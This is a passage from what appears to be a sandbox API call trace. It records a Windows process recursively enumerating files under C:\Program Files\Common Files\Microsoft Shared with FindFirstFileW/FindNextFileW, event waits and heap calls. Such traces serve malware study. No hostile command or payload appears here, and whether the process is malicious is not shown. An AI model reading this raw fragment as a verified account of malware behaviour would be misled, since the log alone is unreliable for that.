ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.460] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc52bb100, ftCreationTime.dwHighDateTime=0x1ca6185, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc52bb100, ftLastWriteTime.dwHighDateTime=0x1ca6185, nFileSizeHigh=0x0, nFileSizeLow=0x2cc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCABOUT.HTM", cAlternateFileName="")) returned 1 [0218.460] ResetEvent (hEvent=0xe0) returned 1 [0218.460] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0218.477] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x4380, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL", cAlternateFileName="")) returned 1 [0218.477] ResetEvent (hEvent=0xe0) returned 1 [0218.477] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0218.700] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc65b900, ftCreationTime.dwHighDateTime=0x1caac22, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdc65b900, ftLastWriteTime.dwHighDateTime=0x1caac22, nFileSizeHigh=0x0, nFileSizeLow=0x3580, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL.IDX_DLL", cAlternateFileName="STINTL~1.IDX")) returned 1 [0218.700] ResetEvent (hEvent=0xe0) returned 1 [0218.700] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0220.042] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc65b900, ftCreationTime.dwHighDateTime=0x1caac22, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdc65b900, ftLastWriteTime.dwHighDateTime=0x1caac22, nFileSizeHigh=0x0, nFileSizeLow=0x3580, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL.IDX_DLL", cAlternateFileName="STINTL~1.IDX")) returned 0 [0220.042] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0220.042] GetProcessHeap () returned 0x550000 [0220.042] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0220.043] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x1e380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FBIBLIO.DLL", cAlternateFileName="")) returned 1 [0220.043] ResetEvent (hEvent=0xe0) returned 1 [0220.043] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0220.091] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x17f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="FDATE.DLL", cAlternateFileName="")) returned 1 [0220.091] ResetEvent (hEvent=0xe0) returned 1 [0220.091] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0220.114] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x35380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPERSON.DLL", cAlternateFileName="")) returned 1 [0220.114] ResetEvent (hEvent=0xe0) returned 1 [0220.115] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0220.379] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f78700, ftCreationTime.dwHighDateTime=0x1cb7000, ftLastAccessTime.dwLowDateTime=0xc251c2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x66f78700, ftLastWriteTime.dwHighDateTime=0x1cb7000, nFileSizeHigh=0x0, nFileSizeLow=0x2c380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPLACE.DLL", cAlternateFileName="")) returned 1 [0220.379] ResetEvent (hEvent=0xe0) returned 1 [0220.379] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0220.955] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79275700, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x79275700, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x26d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="FSTOCK.DLL", cAlternateFileName="")) returned 1 [0220.955] ResetEvent (hEvent=0xe0) returned 1 [0220.955] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0221.589] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a43200, ftCreationTime.dwHighDateTime=0x1cb700e, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6a43200, ftLastWriteTime.dwHighDateTime=0x1cb700e, nFileSizeHigh=0x0, nFileSizeLow=0x39580, dwReserved0=0x0, dwReserved1=0x0, cFileName="IETAG.DLL", cAlternateFileName="")) returned 1 [0221.589] ResetEvent (hEvent=0xe0) returned 1 [0221.589] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0221.669] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x18b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMCONTACT.DLL", cAlternateFileName="IMCONT~1.DLL")) returned 1 [0221.669] ResetEvent (hEvent=0xe0) returned 1 [0221.669] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0221.679] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LISTS", cAlternateFileName="")) returned 1 [0221.679] GetProcessHeap () returned 0x550000 [0221.679] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25f0090 [0221.679] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0221.680] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.680] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0221.680] GetProcessHeap () returned 0x550000 [0221.680] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2600098 [0221.680] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*", lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0221.680] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.680] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310fad00, ftCreationTime.dwHighDateTime=0x1c2d758, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x310fad00, ftLastWriteTime.dwHighDateTime=0x1c2d758, nFileSizeHigh=0x0, nFileSizeLow=0x22d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DATES.XML", cAlternateFileName="")) returned 1 [0221.680] ResetEvent (hEvent=0xe0) returned 1 [0221.680] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0223.409] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a301d00, ftCreationTime.dwHighDateTime=0x1c2d7fa, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8a301d00, ftLastWriteTime.dwHighDateTime=0x1c2d7fa, nFileSizeHigh=0x0, nFileSizeLow=0x734, dwReserved0=0x0, dwReserved1=0x0, cFileName="PHONE.XML", cAlternateFileName="")) returned 1 [0223.409] ResetEvent (hEvent=0xe0) returned 1 [0223.409] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0223.873] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1271800, ftCreationTime.dwHighDateTime=0x1c4481e, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc1271800, ftLastWriteTime.dwHighDateTime=0x1c4481e, nFileSizeHigh=0x0, nFileSizeLow=0x9869, dwReserved0=0x0, dwReserved1=0x0, cFileName="STOCKS.DAT", cAlternateFileName="")) returned 1 [0223.873] ResetEvent (hEvent=0xe0) returned 1 [0223.873] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0223.901] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5866b900, ftCreationTime.dwHighDateTime=0x1c29047, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5866b900, ftLastWriteTime.dwHighDateTime=0x1c29047, nFileSizeHigh=0x0, nFileSizeLow=0xa7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="STOCKS.XML", cAlternateFileName="")) returned 1 [0223.901] ResetEvent (hEvent=0xe0) returned 1 [0223.901] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0223.915] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36acb00, ftCreationTime.dwHighDateTime=0x1c2dd39, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x36acb00, ftLastWriteTime.dwHighDateTime=0x1c2dd39, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="TIME.XML", cAlternateFileName="")) returned 1 [0223.915] ResetEvent (hEvent=0xe0) returned 1 [0223.915] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0225.088] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36acb00, ftCreationTime.dwHighDateTime=0x1c2dd39, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x36acb00, ftLastWriteTime.dwHighDateTime=0x1c2dd39, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="TIME.XML", cAlternateFileName="")) returned 0 [0225.088] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0225.088] GetProcessHeap () returned 0x550000 [0225.088] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2600098 | out: hHeap=0x550000) returned 1 [0225.088] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11f34c00, ftCreationTime.dwHighDateTime=0x1c62260, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11f34c00, ftLastWriteTime.dwHighDateTime=0x1c62260, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 1 [0225.088] ResetEvent (hEvent=0xe0) returned 1 [0225.089] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0225.180] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11f34c00, ftCreationTime.dwHighDateTime=0x1c62260, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11f34c00, ftLastWriteTime.dwHighDateTime=0x1c62260, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 0 [0225.180] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0225.181] GetProcessHeap () returned 0x550000 [0225.181] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0225.182] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e94600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93e94600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x1b180, dwReserved0=0x0, dwReserved1=0x0, cFileName="METCONV.DLL", cAlternateFileName="")) returned 1 [0225.182] ResetEvent (hEvent=0xe0) returned 1 [0225.182] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0226.380] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85f12000, ftCreationTime.dwHighDateTime=0x1c9a11f, ftLastAccessTime.dwLowDateTime=0x69a83910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85f12000, ftLastWriteTime.dwHighDateTime=0x1c9a11f, nFileSizeHigh=0x0, nFileSizeLow=0x120eb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="METCONV.TXT", cAlternateFileName="")) returned 1 [0226.380] ResetEvent (hEvent=0xe0) returned 1 [0226.380] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0226.413] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802a9400, ftCreationTime.dwHighDateTime=0x1caad0b, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x802a9400, ftLastWriteTime.dwHighDateTime=0x1caad0b, nFileSizeHigh=0x0, nFileSizeLow=0x59180, dwReserved0=0x0, dwReserved1=0x0, cFileName="MOFL.DLL", cAlternateFileName="")) returned 1 [0226.413] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab68100, ftCreationTime.dwHighDateTime=0x1cac9a5, ftLastAccessTime.dwLowDateTime=0x5943a0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab68100, ftLastWriteTime.dwHighDateTime=0x1cac9a5, nFileSizeHigh=0x0, nFileSizeLow=0x3574, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTAG.TLB", cAlternateFileName="")) returned 1 [0226.413] ResetEvent (hEvent=0xe0) returned 1 [0226.413] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0226.448] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x3d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmartTagInstall.exe", cAlternateFileName="SMARTT~1.EXE")) returned 1 [0226.449] ResetEvent (hEvent=0xe0) returned 1 [0226.449] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0227.688] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x3d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmartTagInstall.exe", cAlternateFileName="SMARTT~1.EXE")) returned 0 [0227.689] FindClose (in: hFindFile=0x639788 | out: hFindFile=0x639788) returned 1 [0227.689] GetProcessHeap () returned 0x550000 [0227.689] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0227.689] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1 [0227.689] GetProcessHeap () returned 0x550000 [0227.689] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0227.689] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\*", lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639788 [0227.690] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.690] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfcedc00, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcfcedc00, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 1 [0227.690] ResetEvent (hEvent=0xe0) returned 1 [0227.690] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0227.751] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfcedc00, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcfcedc00, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 0 [0227.751] FindClose (in: hFindFile=0x639788 | out: hFindFile=0x639788) returned 1 [0227.751] GetProcessHeap () returned 0x550000 [0227.751] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0227.751] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0227.751] GetProcessHeap () returned 0x550000 [0227.751] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0227.751] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*", lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639788 [0227.753] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, 